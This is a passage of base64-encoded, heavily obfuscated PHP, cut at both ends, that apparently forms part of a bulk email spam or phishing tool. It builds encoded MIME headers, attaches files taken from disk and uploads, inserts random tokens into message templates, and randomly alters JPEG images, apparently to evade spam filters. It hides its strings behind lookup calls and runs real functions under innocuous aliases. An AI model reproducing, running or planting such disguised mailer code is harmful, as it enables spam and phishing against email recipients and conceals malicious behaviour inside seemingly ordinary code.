2VuY29kZSgkX3VlKSwgJF95dm0pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChtb25pdG9yX2hlYWx0aCgkX3l2bSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190cXcnLCAnX2N5aScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHRoaXMtPl9ubmggPSAwMTsKICAgICAgICAgICAgJF9tZyA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcnEnLCAnX2d0JykgLiAkdGhpcy0+X2pxZyAuIEAkX1NFUlZFUltEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hkcCcsICdfaWxzJyldIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19taWEnLCAnX2NnaCcpIC4gYmFzZTY0X2VuY29kZSgkX2NrelswMF0pOwogICAgICAgICAgICAkX3l2bSA9IHNjaGVkdWxlX3dvcmsoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vdGwnLCAnX3pzdCcpLCAkX21nLCAkX3l2bSk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJF96dmpbMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX3p2alswMV0gYXMgJF9mcyA9PiAkX3d4KSB7CiAgICAgICAgICAgICAgICAkX3VwID0gc3RhcnRfc2VydmljZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hpJywgJ19zbmsnKSwgJF93eCk7CiAgICAgICAgICAgICAgICAkX3BidSA9IGZhbHNlOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPl9pd3ggYXMgJF95cSA9PiAkX2lndykgewogICAgICAgICAgICAgICAgICAgIGlmICgkX2lnd1swMF0gPT0gJF96dmpbMDBdWyRfZnNdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfeXZtID0gc2NoZWR1bGVfd29yaygkX3p2alswMF1bJF9mc10sICRfaWd3WzAxXSwgJF95dm0pOwogICAgICAgICAgICAgICAgICAgICAgICAkX3BidSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJF9wYnUpIHsKICAgICAgICAgICAgICAgICAgICAkX3B5cyA9ICRfdXBbY29sbGVjdF9zdGF0aXN0aWNzKCRfdXApXTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2l3eFtdID0gYXJyYXkoJF96dmpbMDBdWyRfZnNdLCAkX3B5cyk7CiAgICAgICAgICAgICAgICAgICAgJF95dm0gPSBzY2hlZHVsZV93b3JrKCRfenZqWzAwXVskX2ZzXSwgJF9weXMsICRfeXZtKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcHJlZ19tYXRjaF9hbGwoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lbHEnLCAnX2xzbCcpLCAkX3l2bSwgJF9hcyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX2FzWzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9hc1swMV0gYXMgJF9uYyA9PiAkX2liZykgewogICAgICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcHd5JywgJ19odCcpLCAkX2liZywgJF9pcGkpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2lwaVswMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9pcGlbMDFdIGFzICRfY2ggPT4gJF9hangpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ3cSgkX2FqeCkgJiYgaXNzZXQoJF9ja3pbJF9hanhdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9pYmcgPSAkdGhpcy0+X2JrKCRfaXBpWzAwXVskX2NoXSwgJF9ja3pbJF9hanhdLCAkX2liZyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3l2bSA9ICR0aGlzLT5fYmsoJF9hc1swMF1bJF9uY10sIGRlY29kZV9pbnB1dCgkX2liZyksICRfeXZtKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcHJlZ19tYXRjaF9hbGwoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pYmEnLCAnX3JqYicpLCAkX3l2bSwgJF95Zik7CiAgICAgICAgaWYgKCFlbXB0eSgkX3lmWzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF95ZlswMV0gYXMgJF9mcyA9PiAkX3VmcykgewogICAgICAgICAgICAgICAgJHRoaXMtPl9ieGVbXSA9IEBleHBsb2RlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXlmJywgJ191bycpLCAkX3Vmcyk7CiAgICAgICAgICAgICAgICAkX3l2bSA9ICR0aGlzLT5fYmsoJF95ZlswMF1bJF9mc10sIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2tiJywgJ19mZScpLCAkX3l2bSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHYnLCAnX2JsaicpLCAkX3l2bSwgJF9zeCk7CiAgICAgICAgaWYgKCFlbXB0eSgkX3N4WzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9zeFswMV0gYXMgJF9mcyA9PiAkX3F3aykgewogICAgICAgICAgICAgICAgJF91cCA9IEBleHBsb2RlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb25kJywgJ19ycWwnKSwgJF9xd2spOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfdXBbMDBdKSkgewogICAgICAgICAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX251aScsICdfaWp6JyksICRfdXBbMDBdLCAkX3RjKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfdGNbMDFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3RjWzAxXSBhcyAkX3dpaSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF90dG4gPSBAZXhwbG9kZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xpZycsICdfZ2xpJyksICRfd2lpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhZ2dyZWdhdGVfcmVzdWx0cygkX3R0bikgPT0gMDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2FsID0gcmFuZChhdW4oJF90dG5bMDBdKSwgYXVuKCRfdHRuWzAxXSkgLSAwMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF91cFswMF0gPSAkdGhpcy0+X2JrKCRfd2lpLCAkX2FsLCAkX3VwWzAwXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF91cFswMF0gPSBzY2hlZHVsZV93b3JrKGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfamJyJywgJ19kbWMnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192dScsICdfenFiJykpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xsaicsICdfZ2NvJyksICRfdXBbMDBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5fYnhlW10gPSAkX3VwOwogICAgICAgICAgICAgICAgJF95dm0gPSAkdGhpcy0+X2JrKCRfc3hbMDBdWyRfZnNdLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hpZCcsICdfdHZpJyksICRfeXZtKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcHJlZ19tYXRjaF9hbGwoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ycGMnLCAnX2RldicpLCAkX3l2bSwgJF91cyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX3VzWzAxXSkpIHsKICAgICAgICAgICAgJF9ueiA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeHBwJywgJ194Zm8nKTsKICAgICAgICAgICAgZm9yZWFjaCAoJF91c1swMV0gYXMgJF9lenMgPT4gJF9pZHcpIHsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX256LCBAZmlsZV9nZXRfY29udGVudHMoJF9pZHcpKTsKICAgICAgICAgICAgICAgICRfZGp2ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbnopOwogICAgICAgICAgICAgICAgaWYgKCRfZGp2KSB7CiAgICAgICAgICAgICAgICAgICAgJF9pciA9ICR0aGlzLT5faG4oJF9ueik7CiAgICAgICAgICAgICAgICAgICAgJF9ienQgPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2VkZicsICdfaXV6JykgLiAkX2lyIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rZm0nLCAnX2p0bycpIC4gYmFzZTY0X2VuY29kZSgkX2Rqdik7CiAgICAgICAgICAgICAgICAgICAgJF95dm0gPSAkdGhpcy0+X2JrKCRfdXNbMDBdWyRfZXpzXSwgJF9ienQsICRfeXZtKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJF9ueik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF95dm0gPSBzY2hlZHVsZV93b3JrKGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYmMnLCAnX2dwJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa2RlJywgJ19xcicpKSwgYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19idXMnLCAnX3l0aCcpLCBydW5fcHJvY2VkdXJlKCRfY2t6WzAwXSkpLCAkX3l2bSk7CiAgICAgICAgcmV0dXJuICRfeXZtOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfaGsoJF9hZCwgJF9hemEsICRfZmogPSBudWxsKQogICAgewogICAgICAgICRfaXhoID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191amonLCAnX3BraicpIC4gJHRoaXMtPl9neSgkdGhpcy0+Y2FjaGVEYXRhLCAkX2FkKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHZwJywgJ19iZGEnKSAuICRfYXphIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191d3YnLCAnX2tlJyk7CiAgICAgICAgaWYgKCFncm4oJF9maikpIHsKICAgICAgICAgICAgJF9peGggLj0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zbycsICdfZXBlJykgLiAkX2ZqIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194dnQnLCAnX3R4cicpOwogICAgICAgIH0KICAgICAgICAkX2l4aCAuPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2FibycsICdfdXpkJyk7CiAgICAgICAgaWYgKCR0aGlzLT5fcWxsKSB7CiAgICAgICAgICAgICRfaXhoIC49IHNjaGVkdWxlX3dvcmsoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195YycsICdfaW5tJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWEnLCAnX2thZCcpLCBydW5fcHJvY2VkdXJlKCR0aGlzLT5fcWxsKSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pyaScsICdfZ2xrJyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2l4aDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2d5KCRfdmUsICRfeXZtKQogICAgewogICAgICAgIHN3aXRjaCAoJF92ZSkgewogICAgICAgICAgICBjYXNlIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY25jJywgJ19meScpOgogICAgICAgICAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FwJywgJ19ycngnKSkgPyBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hobycsICdfZW9yJykgLiAkdGhpcy0+X3ZlIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19namonLCAnX2JsbicpIC4gYmFzZTY0X2VuY29kZShAaWNvbnYoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pcXgnLCAnX3JobCcpLCAkdGhpcy0+X3ZlLCAkX3l2bSkpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zcngnLCAnX3JwJykgOiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3N1YicsICdfcHRmJykgLiAkdGhpcy0+X3ZlIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jYnonLCAnX2lwYycpIC4gYmFzZTY0X2VuY29kZSgkX3l2bSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BqZycsICdfZ25tJyk7CiAgICAgICAgICAgIGNhc2UgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196cngnLCAnX2VudCcpOgogICAgICAgICAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3F2aCcsICdfdGcnKSkgPyBAbWJfZW5jb2RlX21pbWVoZWFkZXIoJF95dm0sICR0aGlzLT5fdmUsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZWt0JywgJ19scG8nKSkgOiAkX3l2bTsKICAgICAgICB9CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF94eGsoJF92ZSwgJF95dm0pCiAgICB7CiAgICAgICAgJF9lbSA9IHNjaGVkdWxlX3dvcmsoYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19scW0nLCAnX3l5ZScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RnZCcsICdfaWpsJykpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dmaycsICdfdmN3JyksICRfeXZtKTsKICAgICAgICAkX2VtID0gc2NoZWR1bGVfd29yayhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dncycsICdfa2psJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZXViJywgJ19tY2wnKSwgJF9lbSk7CiAgICAgICAgc3dpdGNoICgkX3ZlKSB7CiAgICAgICAgICAgIGNhc2UgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mdG4nLCAnX2xkZScpOgogICAgICAgICAgICAgICAgcmV0dXJuIHZhbGlkYXRlX2VudHJ5KGRlY29kZV9pbnB1dCgkX2VtKSk7CiAgICAgICAgICAgIGNhc2UgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193amMnLCAnX2JlJyk6CiAgICAgICAgICAgICAgICByZXR1cm4gc3RvcmVfc25hcHNob3QoJF9lbSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lsJywgJ19jdGcnKTsKICAgICAgICB9CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9xaXAoJF9jb2wpCiAgICB7CiAgICAgICAgJF9vZCA9IHJ1bl9wcm9jZWR1cmUobG9nX29wZXJhdGlvbigkX2NvbCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jbicsICdfcmxwJykpKTsKICAgICAgICAkX2N5ID0gdHJ1ZTsKICAgICAgICB3aGlsZSAoJF9jeSkgewogICAgICAgICAgICAkX3ZwID0gQHN0cnBvcygkX29kLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xmaycsICdfaHBsJykpOwogICAgICAgICAgICBpZiAoJF92cCAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRfemEgPSBAc3RycG9zKCRfb2QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3VuJywgJ19lY2snKSwgJF92cCArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX3phID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF96YSA9IEBzdHJwb3MoJF9vZCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196YXAnLCAnX2hndScpLCAkX3phICsgMDEpOwogICAgICAgICAgICAgICAgaWYgKCRfemEgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3pwciA9IEBzdHJwb3MoJF9vZCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lcScsICdfbHZ4JyksICRfemEgKyAwMSk7CiAgICAgICAgICAgICAgICBpZiAoJF96cHIgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2NzID0gQHN0cnBvcygkX29kLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dtZScsICdfdWhyJyksICRfenByICsgMDEpOwogICAgICAgICAgICAgICAgaWYgKCRfY3MgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2NzID0gQHN0cnBvcygkX29kLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NpaycsICdfa3QnKSwgJF9jcyArIDAxKTsKICAgICAgICAgICAgICAgIGlmICgkX2NzID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9qdnUgPSBAc3Vic3RyKCRfb2QsIDAwLCAkX3ZwKTsKICAgICAgICAgICAgICAgICRfa3EgPSBAc3Vic3RyKCRfb2QsICRfemEgKyAwMSwgJF96cHIgLSAkX3phIC0gMDEpOwogICAgICAgICAgICAgICAgJF9rZHogPSBAc3Vic3RyKCRfb2QsICRfY3MgKyAwMSk7CiAgICAgICAgICAgICAgICAkX29kID0gJF9qdnUgLiAkX2txIC4gJF9rZHo7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX2N5ID0gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfb2Q7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9iaygkX3V3biwgJF95ZGgsICRfeXZtKQogICAgewogICAgICAgICRfeWQgPSBAc3RycG9zKCRfeXZtLCAkX3V3bik7CiAgICAgICAgcmV0dXJuICRfeWQgIT09IGZhbHNlID8gQHN1YnN0cl9yZXBsYWNlKCRfeXZtLCAkX3lkaCwgJF95ZCwgZGlzcGF0Y2hfc2lnbmFsKCRfdXduKSkgOiAkX3l2bTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX293cSgkX2lkdykKICAgIHsKICAgICAgICByZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfaWR3LCBmYWxzZSwgJHRoaXMtPl9taXIpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfeXhyKCRfa2YpCiAgICB7CiAgICAgICAgJF9wcmcgPSBpbml0X3N5c3RlbShAcGF0aGluZm8oJF9rZiwgMDQpKTsKICAgICAgICBpZiAoaW5pdGlhbGl6ZV9jb21wb25lbnQoJF9wcmcsIGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3ZpJywgJ19lY3cnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19taG4nLCAnX25rJykpKSAmJiAkdGhpcy0+X2J5ZygpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X2h6aygkX0ZJTEVTW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHhoJywgJ196YycpXVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2l4aycsICdfZWZlJyldKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb3YnLCAnX3lvZScpXVtEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2J2ZicsICdfYnVrJyldKTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3hqdygpCiAgICB7CiAgICAgICAgJF93YiA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2Z4JywgJ19kbmknKTsKICAgICAgICByZXR1cm4gQHN1YnN0cihjb21wdXRlX291dHB1dChydW5fa2VybmVsKCRfd2IsIHJhbmQoMDMsIDAxMCkpKSwgMDAsIHJhbmQoMDMsIDAxMCkpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ3psKCRfZ3IsICRfenR1ID0gMDApCiAgICB7CiAgICAgICAgaWYgKCRfenR1ID09PSAwMSkgewogICAgICAgICAgICAkX3diID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sYnUnLCAnX2Z5bScpOwogICAgICAgIH0gZWxzZWlmICgkX3p0dSA9PT0gMDIpIHsKICAgICAgICAgICAgJF93YiA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaXFlJywgJ19vZHcnKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX3diID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sc2gnLCAnX3dicScpOwogICAgICAgIH0KICAgICAgICAkX3pvID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19iZ2EnLCAnX2JjdCcpOwogICAgICAgICRfdWZwID0gZGlzcGF0Y2hfc2lnbmFsKCRfd2IpIC0gMDE7CiAgICAgICAgZm9yICgkX2ZzID0gMDA7ICRfZnMgPCAkX2dyOyAkX2ZzKyspIHsKICAgICAgICAgICAgJF96byAuPSAkX3diW210X3JhbmQoMDAsICRfdWZwKV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX3pvOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnlnKCkKICAgIHsKICAgICAgICBmb3JlYWNoIChhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BoJywgJ191cnAnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ocycsICdfd3AnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194bicsICdfcmdsJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZnZrJywgJ19yZmMnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19teWMnLCAnX2NxbicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25nZycsICdfaXRiJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeHZ6JywgJ19iaCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BqbScsICdfa3luJykpIGFzICRfancpIHsKICAgICAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJF9qdykpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2h6aygkX3F0bCkKICAgIHsKICAgICAgICBsaXN0KCRfbnBhLCAkX3piKSA9IEBnZXRpbWFnZXNpemUoJF9xdGwpOwogICAgICAgICRfa24gPSByYW5kKDAxLCAwMikgPT0gMDEgPyAkX25wYSArIHJhbmQoLTAxMiwgMDEyKSA6ICRfbnBhOwogICAgICAgICRfemggPSByYW5kKDAxLCAwMikgPT0gMDEgPyAkX3piICsgcmFuZCgtMDEyLCAwMTIpIDogJF96YjsKICAgICAgICAkX2JrID0gcmFuZCgwMSwgMDIpID09IDAxID8gMDExMyA6IHJhbmQoMDEwMSwgMDE1MSk7CiAgICAgICAgJF9haiA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/IHJhbmQoMDAsIDA0MykgOiAwMDsKICAgICAgICAkX2ZhaCA9IHJhbmQoMDEsIDAyKSA9PSAwMSA/IHJhbmQoLTAxNywgMDE3KSA6IDAwOwogICAgICAgICRfdncgPSBAaW1hZ2VjcmVhdGV0cnVlY29sb3IoJF9rbiwgJF96aCk7CiAgICAgICAgJF9pZm0gPSBAaW1hZ2VjcmVhdGVmcm9tanBlZygkX3F0bCk7CiAgICAgICAgQGltYWdlY29weXJlc2FtcGxlZCgkX3Z3LCAkX2lmbSwgMDAsIDAwLCAwMCwgMDAsICRfa24sICRfemgsICRfbnBhLCAkX3piKTsKICAgICAgICBAaW1hZ2VmaWx0ZXIoJF92dywgSU1HX0ZJTFRFUl9DT05UUkFTVCwgJF9mYWgpOwogICAgICAgIEBpbWFnZWZpbHRlcigkX3Z3LCBJTUdfRklMVEVSX0JSSUdIVE5FU1MsICRfYWopOwogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBpbWFnZWpwZWcoJF92dywgbnVsbCwgJF9iayk7CiAgICAgICAgJF9hcGUgPSBAb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgQGltYWdlZGVzdHJveSgkX3Z3KTsKICAgICAgICByZXR1cm4gJF9hcGU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIF9obigkX3F0bCkKICAgIHsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcmcnLCAnX2xreicpKSkgewogICAgICAgICAgICByZXR1cm4gQG1pbWVfY29udGVudF90eXBlKCRfcXRsKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYmtvJywgJ19pdmQnKSkpIHsKICAgICAgICAgICAgJF9nc3ggPSBAZmluZm9fb3BlbigwMjApOwogICAgICAgICAgICBpZiAoJF9nc3gpIHsKICAgICAgICAgICAgICAgICRfeHEgPSBAZmluZm9fZmlsZSgkX2dzeCwgJF9xdGwpOwogICAgICAgICAgICAgICAgQGZpbmZvX2Nsb3NlKCRfZ3N4KTsKICAgICAgICAgICAgICAgIHJldHVybiAkX3hxID8gJF94cSA6IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdmpkJywgJ195bG4nKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3ByZyA9IGluaXRfc3lzdGVtKEBwYXRoaW5mbygkX3F0bCwgMDQpKTsKICAgICAgICAkX3ljID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wdHgnLCAnX2ltJykgPT4gRGVwZW5kZW5jeUluamVjdG9yOjpjYW